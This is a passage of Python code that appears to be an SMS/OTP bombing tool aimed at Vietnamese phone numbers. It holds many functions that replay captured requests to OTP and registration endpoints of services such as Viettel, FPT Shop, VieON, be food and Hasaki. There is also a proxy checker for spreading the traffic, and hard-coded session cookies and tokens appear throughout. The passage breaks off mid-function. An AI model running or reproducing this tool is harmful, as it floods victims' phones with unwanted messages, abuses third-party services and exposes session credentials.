		"cookie": "__Host-next-auth.csrf-token=451630ef2d0cd9103c3e766bb3b3b02bae91ca07c99a44f03a9f77f0365ff72b%7C76728ccf018a9458fdcd179dcf8bda31c1a6e8c73b2b2220d551d47463c831bc;__Secure-next-auth.callback-url=https%3A%2F%2Fluvvoice.com%2Fvn;__Secure-next-auth.session-token=eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIn0..aUdECsOrmFP8yY0M.M027lcv6Yyj-zjzikjyEwc_wkoN-L8oJ7UuRh-PmRkrwbHht1ECnwukANhx5Cry8qcWF5XJv08igLC2gJB7qaQ96n5LXl4cMMda4wXDvtIg3bgVWv8JdWY6NIS0mMWYD_S4ixE7HK8rr4jdi8JSkvuv2sCl0HCgO1A8ouO9APWaEsojqZmVpm44BePWIJ_RbxLqt_qoidMUpVXpfklh7J2od9DGC6jjl3oyIVsqg3JWip5mA5cIQyELz7YJ_hjDtJfCWLn-HdPoUCd_QbZhVrT2Goj5Yq-OQV2rRPnhRe_IE7xX8WvKSG9bkJoyAD-b6tBogCvhvApFA-xi6nw8hPPxsAbauX9AbO71dBadoi_qwwQ91mVcdxk8cQ1sLoniKv5tj4aVahBcETlg54ecL9uNwZWdxFwZZPoU8229F7Nzxl0QLJ8md0YLhUz4yA5i-sUQlAJMU6rUYD-yDW1A6vbS61zRx6oYimKzT12yQ7p0AZgFdz8XrPdIMKd3Tbv6DQaEXNGoInuyP6h5so2-UZaaAuDhVbBbyOlXbVPXpOoLcocq_D7mqx-NXWQwG8Ygz7qbV9ykBy_ofbPYkN6lEsbxL1YYyUGRcrp5w6pu-KDASROsjF165GDafk5qo4gHsdU6Um5Ridomcyu5Ai6WOG2NLvy1_NTJekhnaWQd9jXgkWbsKdLEoXvHLdiLwWjzMzf7uPt2eAmu5MVY6xxzZuCPd9L2FS6lyeP5YsCNwkSPEopJ14ZrzyeUfN87dFKbFKxa3e6UtclghrpJAFPNxe8EU6htl3eB0qYEt-0Es9XyW_QZJGtXySLkAgxX4CwgQB32JDQS4WboNEfrAt1IPCwlrRXLAaZFo3yCVWxpBjuKqET8JMsQDjcewqJoZFhvFSeF7QPsiaonzQte-uUXNJs5txEntBx9nWgvFeKp29O3Umqt1mj3jASu3pOhjazzqd5bVLYX90nQ2orv1g8TchqjND0615eEMr-BnBq_1r7bEg4WuSDLslP0YmAjDI5cpm238IhTrIoWNfff8cccgJuRtWhta7hJN0yURDQTRHJnWnKceDzjwhVAtj_EWwwhNJOMsrIba1XUYXSTJPDn51OJ3ha1Up8LjkbInwg.BplfGvK6Vy6wVqmLoTEBFg"
	}
	payload = {
		"text": text,
		"voice": "voice-287",
		"rate": "0",
		"volume": "0",
		"pitch": "0"
	}
	response = requests.post("https://luvvoice.com/api/text-to-speech", headers=headers, data=payload, timeout=1)
	print(response)
	return response.content

def check_proxies(data):
	# session = requests.Session()
	proxies = [p.strip() for p in data.split('\n') if p.strip()]
	batch_size = 1000
	all_results = []
	for batch_start in range(0, len(proxies), batch_size):
		chunk = proxies[batch_start:batch_start + batch_size]
		form_data = []
		for local_idx, proxy in enumerate(chunk):
			global_idx = batch_start + local_idx
			form_data.append(('ip_addr[]', (None, f"{proxy}-{global_idx}")))
		while True:
			headers = {
				'Host': 'api.proxyscrape.com',
				'sec-ch-ua': '"Not A(Brand";v="8", "Chromium";v="132"',
				'accept': 'application/json, text/plain, */*',
				'sec-ch-ua-mobile': '?1',
				'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Mobile Safari/537.36',
				'sec-ch-ua-platform': '"Android"',
				'origin': 'https://proxyscrape.com',
				'sec-fetch-site': 'same-site',
				'sec-fetch-mode': 'cors',
				'sec-fetch-dest': 'empty',
				'referer': 'https://proxyscrape.com/',
				'accept-encoding': 'gzip, deflate, br',
				'accept-language': 'vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5'
			}
			url = 'https://api.proxyscrape.com/v4/online_check'
			response = requests.post(url, files=form_data, headers=headers)
			# print(response)
			if response.status_code == 200:
				break
		
		batch_results = response.json()
		all_results.extend(batch_results)
	return all_results
	
def sdtt(sdt):
	if sdt.startswith("0"):
		return "+84" + sdt[1:]
	return sdt

def generate_random_email(domain='example.com'):
	length = random.randint(5, 10)
	email_name = ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
	email = f'{email_name}@{domain}'
	return email

random_email = generate_random_email()

def tv360():
	cookies = {
		'img-ext': 'avif',
		'NEXT_LOCALE': 'vi',
		'device-id': 's%3Aweb_d113a986-bdb0-45cd-9638-827d1a7809bb.vUWWw%2BnJUtWclZZ4EpwoSqqe8Z3%2BOEyIWvptoDuLrDk',
		'shared-device-id': 'web_d113a986-bdb0-45cd-9638-827d1a7809bb',
		'screen-size': 's%3A1920x1080.uvjE9gczJ2ZmC0QdUMXaK%2BHUczLAtNpMQ1h3t%2Fq6m3Q',
		'access-token': '',
		'refresh-token': '',
		'msisdn': '',
		'profile': '',
		'user-id': '',
		'session-id': 's%3Aaba282a7-d30b-4fa2-b4dd-8b1217b1a008.Jg2CyIIRl98IEt0yW76P%2BPy0G79GQOHxw6rA6PTq9BM',
		'G_ENABLED_IDPS': 'google',
	}

	headers = {
		'accept': 'application/json, text/plain, */*',
		'accept-language': 'vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5',
		'content-type': 'application/json',
		# 'cookie': 'img-ext=avif; NEXT_LOCALE=vi; device-id=s%3Aweb_d113a986-bdb0-45cd-9638-827d1a7809bb.vUWWw%2BnJUtWclZZ4EpwoSqqe8Z3%2BOEyIWvptoDuLrDk; shared-device-id=web_d113a986-bdb0-45cd-9638-827d1a7809bb; screen-size=s%3A1920x1080.uvjE9gczJ2ZmC0QdUMXaK%2BHUczLAtNpMQ1h3t%2Fq6m3Q; access-token=; refresh-token=; msisdn=; profile=; user-id=; session-id=s%3Aaba282a7-d30b-4fa2-b4dd-8b1217b1a008.Jg2CyIIRl98IEt0yW76P%2BPy0G79GQOHxw6rA6PTq9BM; G_ENABLED_IDPS=google',
		'origin': 'https://tv360.vn',
		'priority': 'u=1, i',
		'referer': 'https://tv360.vn/login?r=https%3A%2F%2Ftv360.vn%2F',
		'sec-ch-ua': '"Not/A)Brand";v="8", "Chromium";v="126", "Opera";v="112"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
		'sec-fetch-dest': 'empty',
		'sec-fetch-mode': 'cors',
		'sec-fetch-site': 'same-origin',
		'starttime': '1721479947788',
		'tz': 'Asia/Bangkok',
		'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 OPR/112.0.0.0',
	}

	json_data = {
		'msisdn': sdt,
	}

	try:
		response = requests.post('https://tv360.vn/public/v1/auth/get-otp-login', cookies=cookies, headers=headers, json=json_data)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def vieon():
	headers = {
		'accept': 'application/json, text/plain, */*',
		'accept-language': 'vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5',
		'authorization': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MjE2OTc2NzcsImp0aSI6IjM2YTYxOGU4ZmNlMzlmNzVkZjJhZDk1Mjg5YWE3OTk5IiwiYXVkIjoiIiwiaWF0IjoxNzIxNTI0ODc3LCJpc3MiOiJWaWVPbiIsIm5iZiI6MTcyMTUyNDg3Niwic3ViIjoiYW5vbnltb3VzXzI1MjhiYWQ3MWJiYmY5ODg4ODJhYTcyZmRiMTA1Mzg0LWNlM2FjYzc2ODdlNmVjNWRhZGJiN2E1N2YzMWE0YTBkLTE3MjE1MjQ4NzciLCJzY29wZSI6ImNtOnJlYWQgY2FzOnJlYWQgY2FzOndyaXRlIGJpbGxpbmc6cmVhZCIsImRpIjoiMjUyOGJhZDcxYmJiZjk4ODg4MmFhNzJmZGIxMDUzODQtY2UzYWNjNzY4N2U2ZWM1ZGFkYmI3YTU3ZjMxYTRhMGQtMTcyMTUyNDg3NyIsInVhIjoiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyNi4wLjAuMCBTYWZhcmkvNTM3LjM2IE9QUi8xMTIuMC4wLjAiLCJkdCI6IndlYiIsIm10aCI6ImFub255bW91c19sb2dpbiIsIm1kIjoiV2luZG93cyAxMCIsImlzcHJlIjowLCJ2ZXJzaW9uIjoiIn0.wXtslFrAOKsPxT41wnkXvzY7K1AocvJykB4eI0jnesY',
		'content-type': 'application/json',
		'origin': 'https://vieon.vn',
		'priority': 'u=1, i',
		'referer': 'https://vieon.vn/auth/?destination=/&page=/',
		'sec-ch-ua': '"Not/A)Brand";v="8", "Chromium";v="126", "Opera";v="112"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
		'sec-fetch-dest': 'empty',
		'sec-fetch-mode': 'cors',
		'sec-fetch-site': 'same-site',
		'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 OPR/112.0.0.0',
	}

	params = {
		'platform': 'web',
		'ui': '012021',
	}

	json_data = {
		'username': sdt,
		'country_code': 'VN',
		'model': 'Windows 10',
		'device_id': '2528bad71bbbf988882aa72fdb105384',
		'device_name': 'Opera/112',
		'device_type': 'desktop',
		'platform': 'web',
		'ui': '012021',
	}

	try:
		response = requests.post('https://api.vieon.vn/backend/user/v2/register', params=params, headers=headers, json=json_data)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def myviettel(sdt):
	headers = {
		'accept': 'application/json, text/plain, */*',
		'accept-language': 'vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5',
		# 'content-length': '0',
		'origin': 'https://vietteltelecom.vn',
		'priority': 'u=1, i',
		'referer': 'https://vietteltelecom.vn/',
		'sec-ch-ua': '"Not/A)Brand";v="8", "Chromium";v="126", "Opera";v="112"',
		'sec-ch-ua-mobile': '?1',
		'sec-ch-ua-platform': '"Android"',
		'sec-fetch-dest': 'empty',
		'sec-fetch-mode': 'cors',
		'sec-fetch-site': 'cross-site',
		'user-agent': 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Mobile Safari/537.36',
	}

	try:
		response = requests.post(
			f'https://apigami.viettel.vn/mvt-api/myviettel.php/getOTPLoginCommon?lang=vi&phone={sdt}&actionCode=myviettel:%2F%2Flogin_mobile&typeCode=DI_DONG&type=otp_login',
			headers=headers,
		)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def fptshop(sdt):
	headers = {
		'sec-ch-ua': '"Not/A)Brand";v="8", "Chromium";v="126", "Opera";v="112"',
		'sec-ch-ua-mobile': '?0',
		'apptenantid': 'E6770008-4AEA-4EE6-AEDE-691FD22F5C14',
		'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 OPR/112.0.0.0',
		'Content-Type': 'application/json',
		'Referer': 'https://fptshop.com.vn/',
		'order-channel': '1',
		'sec-ch-ua-platform': '"Windows"',
	}

	json_data = {
		'fromSys': 'WEBKHICT',
		'otpType': '0',
		'phoneNumber': sdt,
	}

	try:
		response = requests.post('https://papi.fptshop.com.vn/gw/is/user/new-send-verification', headers=headers, json=json_data)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False


def befood(sdt):
	headers = {
		'accept': '*/*',
		'accept-language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		'app_version': '11261',
		'authorization': 'Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjowLCJhdWQiOiJndWVzdCIsImV4cCI6MTcyMTY2NjE0MiwiaWF0IjoxNzIxNTc5NzQyLCJpc3MiOiJiZS1kZWxpdmVyeS1nYXRld2F5In0.hTY2ucbYZBKKCNsUaypZ1fyjVSmAN77YjfP2Iyyrs1Y',
		'content-type': 'application/json',
		'origin': 'https://food.be.com.vn',
		'priority': 'u=1, i',
		'referer': 'https://food.be.com.vn/',
		'sec-ch-ua': '"Not/A)Brand";v="8", "Chromium";v="126", "Opera";v="112"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
		'sec-fetch-dest': 'empty',
		'sec-fetch-mode': 'cors',
		'sec-fetch-site': 'same-site',
		'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 OPR/112.0.0.0',
	}

	json_data = {
		'phone_no': sdtt(sdt),
		'uuid': '6b83df66-d9ad-4ef0-86d9-a235c5e83aa7',
		'is_from_food': True,
		'is_forgot_pin': False,
		'locale': 'vi',
		'app_version': '11261',
		'version': '1.1.261',
		'device_type': 3,
		'operator_token': '0b28e008bc323838f5ec84f718ef11e6',
		'customer_package_name': 'xyz.be.food',
		'device_token': '2a5886db48531ea9feb406f8801a3edd',
		'ad_id': '',
		'screen_width': 360,
		'screen_height': 640,
		'client_info': {
			'locale': 'vi',
			'app_version': '11261',
			'version': '1.1.261',
			'device_type': 3,
			'operator_token': '0b28e008bc323838f5ec84f718ef11e6',
			'customer_package_name': 'xyz.be.food',
			'device_token': '2a5886db48531ea9feb406f8801a3edd',
			'ad_id': '',
			'screen_width': 360,
			'screen_height': 640,
		},
		'latitude': 10.77253621500006,
		'longitude': 106.69798153800008,
	}

	try:
		response = requests.post('https://gw.be.com.vn/api/v1/be-delivery-gateway/user/login', headers=headers, json=json_data)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def foodhubzl(sdt): # check ap
	cookies = {
		'tick_session': 'f0s3e78s49netpa8583ggjedo5fiabkj',
	}

	headers = {
		'Accept': 'application/json, text/javascript, */*; q=0.01',
		'Accept-Language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		'Connection': 'keep-alive',
		'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
		# 'Cookie': 'tick_session=f0s3e78s49netpa8583ggjedo5fiabkj',
		'Origin': 'https://account.ab-id.net',
		'Referer': 'https://account.ab-id.net/auth/login?token=73f53f54d63b6caa9fb7b90f0007b72a52be1849b00a35d599fb002c22701563&destination=https://www.foodhub.vn',
		'Sec-Fetch-Dest': 'empty',
		'Sec-Fetch-Mode': 'cors',
		'Sec-Fetch-Site': 'same-origin',
		'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 OPR/112.0.0.0',
		'X-Requested-With': 'XMLHttpRequest',
		'sec-ch-ua': '"Not/A)Brand";v="8", "Chromium";v="126", "Opera";v="112"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
	}

	data = {
		'access_token': '73f53f54d63b6caa9fb7b90f0007b72a52be1849b00a35d599fb002c22701563',
		'destination': 'https://www.foodhub.vn',
		'site_token': '',
		'phone_number': sdt,
		'remember_account': '1',
		'type': 'zalootp',
		'country': '+84',
		'country_code': 'VN',
	}

	try:
		response = requests.post('https://account.ab-id.net/auth/get_form_phone_code', cookies=cookies, headers=headers, data=data)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def vttelecom(sdt):
	headers = {
		'accept': 'application/json, text/plain, */*',
		'accept-language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		# 'content-length': '0',
		'origin': 'https://vietteltelecom.vn',
		'priority': 'u=1, i',
		'referer': 'https://vietteltelecom.vn/',
		'sec-ch-ua': '"Not/A)Brand";v="8", "Chromium";v="126", "Opera";v="112"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
		'sec-fetch-dest': 'empty',
		'sec-fetch-mode': 'cors',
		'sec-fetch-site': 'cross-site',
		'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 OPR/112.0.0.0',
	}

	params = {
		'lang': 'vi',
		'msisdn': sdt,
		'type': 'register',
	}

	response = requests.post('https://apigami.viettel.vn/mvt-api/myviettel.php/getOtp', params=params, headers=headers)

	headers = {
		'accept': 'application/json, text/plain, */*',
		'accept-language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		# 'content-length': '0',
		'origin': 'https://vietteltelecom.vn',
		'priority': 'u=1, i',
		'referer': 'https://vietteltelecom.vn/',
		'sec-ch-ua': '"Not/A)Brand";v="8", "Chromium";v="126", "Opera";v="112"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
		'sec-fetch-dest': 'empty',
		'sec-fetch-mode': 'cors',
		'sec-fetch-site': 'cross-site',
		'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 OPR/112.0.0.0',
	}

	try:
		response = requests.post(
			f'https://apigami.viettel.vn/mvt-api/myviettel.php/getOTPLoginCommon?lang=vi&phone={sdt}&actionCode=myviettel:%2F%2Flogin_mobile&typeCode=DI_DONG&type=otp_login',
			headers=headers,
		)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def vinwonders(sdt):
	headers = {
		'accept': 'application/json, text/plain, */*',
		'accept-language': 'vi-VN',
		'content-type': 'application/json; charset=UTF-8',
		'origin': 'https://booking.vinwonders.com',
		'priority': 'u=1, i',
		'sec-ch-ua': '"Not/A)Brand";v="8", "Chromium";v="126", "Opera";v="112"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
		'sec-fetch-dest': 'empty',
		'sec-fetch-mode': 'cors',
		'sec-fetch-site': 'cross-site',
		'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 OPR/112.0.0.0',
	}

	json_data = {
		'channel': 10,
		'UserName': sdtt(sdt),
		'Type': 1,
		'OtpChannel': 1,
	}

	try:
		response = requests.post(
			'https://booking-identity-api.vinpearl.com/api/frontend/externallogin/send-otp',
			headers=headers,
			json=json_data,
		)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def hasaki(sdt):
	cookies = {
		'sessionChecked': '1733243335',
		'HASAKI_SESSID': 'b4f9a3141d969a5e713baeeb62cddecc',
		'form_key': 'b4f9a3141d969a5e713baeeb62cddecc',
		'utm_hsk': '%7B%22utm_source%22%3Anull%2C%22utm_medium%22%3Anull%2C%22utm_campaign%22%3Anull%2C%22utm_term%22%3Anull%7D',
		'PHPSESSID': 'd7q25iv138vv8kvqi4saublpbk',
	}

	headers = {
		'accept': 'application/json, text/javascript, */*; q=0.01',
		'accept-language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		# 'cookie': 'sessionChecked=1721624886; HASAKI_SESSID=b5a41e810a240f4d2446e6241c78407a; form_key=b5a41e810a240f4d2446e6241c78407a; utm_hsk=%7B%22utm_source%22%3Anull%2C%22utm_medium%22%3Anull%2C%22utm_campaign%22%3Anull%2C%22utm_term%22%3Anull%7D; PHPSESSID=ofu3g6vsn92b0iqiu4i28e82s0',
		'priority': 'u=1, i',
		'referer': 'https://hasaki.vn/',
		'sec-ch-ua': '"Not/A)Brand";v="8", "Chromium";v="126", "Opera";v="112"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
		'sec-fetch-dest': 'empty',
		'sec-fetch-mode': 'cors',
		'sec-fetch-site': 'same-origin',
		'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 OPR/112.0.0.0',
		'x-requested-with': 'XMLHttpRequest',
	}

	params = {
		'api': 'user.verifyUserName',
		'username': sdt,
	}

	try:
		response = requests.get('https://hasaki.vn/ajax', params=params, cookies=cookies, headers=headers)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False


def fahasa(sdt):
	cookies = {
		'frontend': '732d867ee6ea46ea86186fd679b0607a',
		'utm_source': 'google',
		'frontend_cid': '85UO0HdWkJWztVfl',
	}

	headers = {
		'accept': 'application/json, text/javascript, */*; q=0.01',
		'accept-language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
		# 'cookie': 'frontend=732d867ee6ea46ea86186fd679b0607a; utm_source=google; frontend_cid=85UO0HdWkJWztVfl',
		'origin': 'https://www.fahasa.com',
		'priority': 'u=1, i',
		'referer': 'https://www.fahasa.com/customer/account/login/referer/aHR0cHM6Ly93d3cuZmFoYXNhLmNvbS9jdXN0b21lci9hY2NvdW50L2luZGV4Lw,,/',
		'sec-ch-ua': '"Chromium";v="130", "Opera";v="115", "Not?A_Brand";v="99"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
		'sec-fetch-dest': 'empty',
		'sec-fetch-mode': 'cors',
		'sec-fetch-site': 'same-origin',
		'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 OPR/115.0.0.0',
		'x-requested-with': 'XMLHttpRequest',
	}

	data = {
		'phone': sdt,
	}

	try:
		response = requests.post('https://www.fahasa.com/ajaxlogin/ajax/checkPhone', cookies=cookies, headers=headers, data=data)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False 

def medigozl(sdt):
	headers = {
		'accept': 'application/json, text/plain, */*',
		'accept-language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		'content-type': 'application/json',
		'origin': 'https://www.medigoapp.com',
		'priority': 'u=1, i',
		'referer': 'https://www.medigoapp.com/',
		'sec-ch-ua': '"Not/A)Brand";v="8", "Chromium";v="126", "Opera";v="112"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
		'sec-fetch-dest': 'empty',
		'sec-fetch-mode': 'cors',
		'sec-fetch-site': 'same-site',
		'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 OPR/112.0.0.0',
	}

	params = {
		'from': 'ZALO',
	}

	json_data = {
		'phone': sdtt(sdt),
	}

	try:
		response = requests.post('https://auth.medigoapp.com/prod/getOtp', params=params, headers=headers, json=json_data)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False


def medigosms(sdt):
	headers = {
		'accept': 'application/json, text/plain, */*',
		'accept-language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		'content-type': 'application/json',
		'origin': 'https://www.medigoapp.com',
		'priority': 'u=1, i',
		'referer': 'https://www.medigoapp.com/',
		'sec-ch-ua': '"Chromium";v="128", "Not;A=Brand";v="24", "Opera";v="114"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
		'sec-fetch-dest': 'empty',
		'sec-fetch-mode': 'cors',
		'sec-fetch-site': 'same-site',
		'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/114.0.0.0',
	}

	json_data = {
		'phone': sdtt(sdt),
	}

	try:
		response = requests.post('https://auth.medigoapp.com/prod/getOtp', headers=headers, json=json_data)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def mocha(sdt): #ap check
	headers = {
		'Accept': 'application/json, text/plain, */*',
		'Accept-Language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		'Connection': 'keep-alive',
		# 'Content-Length': '0',
		'Origin': 'https://video.mocha.com.vn',
		'Referer': 'https://video.mocha.com.vn/',
		'Sec-Fetch-Dest': 'empty',
		'Sec-Fetch-Mode': 'cors',
		'Sec-Fetch-Site': 'same-site',
		'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 OPR/112.0.0.0',
		'sec-ch-ua': '"Not/A)Brand";v="8", "Chromium";v="126", "Opera";v="112"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
	}

	params = {
		'msisdn': sdt,
		'languageCode': 'vi',
	}

	try:
		response = requests.post('https://apivideo.mocha.com.vn/onMediaBackendBiz/mochavideo/getOtp', params=params, headers=headers)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def liena(sdt):
	cookies = {
		'form_key': '16TAQkcEJWNL9mpA',
		'mage-cache-storage': '{}',
		'mage-cache-storage-section-invalidation': '{}',
		'mage-cache-sessid': 'true',
		'recently_viewed_product': '{}',
		'recently_viewed_product_previous': '{}',
		'recently_compared_product': '{}',
		'recently_compared_product_previous': '{}',
		'product_data_storage': '{}',
		'mage-messages': '',
		'PHPSESSID': 'dc89004ebe3f7d6ddcf4413416fe8486',
	}

	headers = {
		'accept': 'application/json',
		'accept-language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		'content-type': 'application/json',
		# 'cookie': 'form_key=16TAQkcEJWNL9mpA; mage-cache-storage={}; mage-cache-storage-section-invalidation={}; mage-cache-sessid=true; recently_viewed_product={}; recently_viewed_product_previous={}; recently_compared_product={}; recently_compared_product_previous={}; product_data_storage={}; mage-messages=; PHPSESSID=dc89004ebe3f7d6ddcf4413416fe8486',
		'origin': 'https://www.liena.com.vn',
		'priority': 'u=1, i',
		'referer': 'https://www.liena.com.vn/?gad_source=1&gclid=CjwKCAjw9eO3BhBNEiwAoc0-jTqAbel8_7VQKkVBrv--8QcKLRdxat-thOoWRBU8OQYaV6eYP3LvqhoC7vQQAvD_BwE',
		'sec-ch-ua': '"Not)A;Brand";v="99", "Opera";v="113", "Chromium";v="127"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
		'sec-fetch-dest': 'empty',
		'sec-fetch-mode': 'cors',
		'sec-fetch-site': 'same-origin',
		'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 OPR/113.0.0.0',
	}

	json_data = {
		'phone_number': sdt,
	}

	try:
		response = requests.post(
			'https://www.liena.com.vn/rest/V1/liena/customer/login/request-otp',
			cookies=cookies,
			headers=headers,
			json=json_data,
		)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def viettelpost(sdt):
	cookies = {
		'QUIZIZZ_WS_COOKIE': 'id_192.168.12.141_15001',
		'.AspNetCore.Antiforgery.XvyenbqPRmk': 'CfDJ8ASZJlA33dJMoWx8wnezdv-ldmCeCauiRwoNjbMuIi_12RwO7MX0bWiH1o0iU8D3b4WYfRUPQnjqeIiIpn3XmYRFi_KAJ99Y0oUQzmpZyla6brgkixhji6p2GHBun7BmyV5E_Ktge00TOT2nKbyulVM',
		'_gid': 'GA1.2.766667119.1722475009',
		'_ga_P86KBF64TN': 'GS1.1.1722475009.1.1.1722475193.0.0.0',
		'_ga_7RZCEBC0S6': 'GS1.1.1722475008.1.1.1722475193.0.0.0',
		'_ga': 'GA1.1.283730043.1722475009',
		'_ga_WN26X24M50': 'GS1.1.1722475008.1.1.1722475193.0.0.0',
	}

	headers = {
		'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
		'Accept-Language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		'Cache-Control': 'max-age=0',
		'Connection': 'keep-alive',
		'Content-Type': 'application/x-www-form-urlencoded',
		# 'Cookie': 'QUIZIZZ_WS_COOKIE=id_192.168.12.141_15001; .AspNetCore.Antiforgery.XvyenbqPRmk=CfDJ8ASZJlA33dJMoWx8wnezdv-ldmCeCauiRwoNjbMuIi_12RwO7MX0bWiH1o0iU8D3b4WYfRUPQnjqeIiIpn3XmYRFi_KAJ99Y0oUQzmpZyla6brgkixhji6p2GHBun7BmyV5E_Ktge00TOT2nKbyulVM; _gid=GA1.2.766667119.1722475009; _ga_P86KBF64TN=GS1.1.1722475009.1.1.1722475193.0.0.0; _ga_7RZCEBC0S6=GS1.1.1722475008.1.1.1722475193.0.0.0; _ga=GA1.1.283730043.1722475009; _ga_WN26X24M50=GS1.1.1722475008.1.1.1722475193.0.0.0',
		'Origin': 'null',
		'Sec-Fetch-Dest': 'document',
		'Sec-Fetch-Mode': 'navigate',
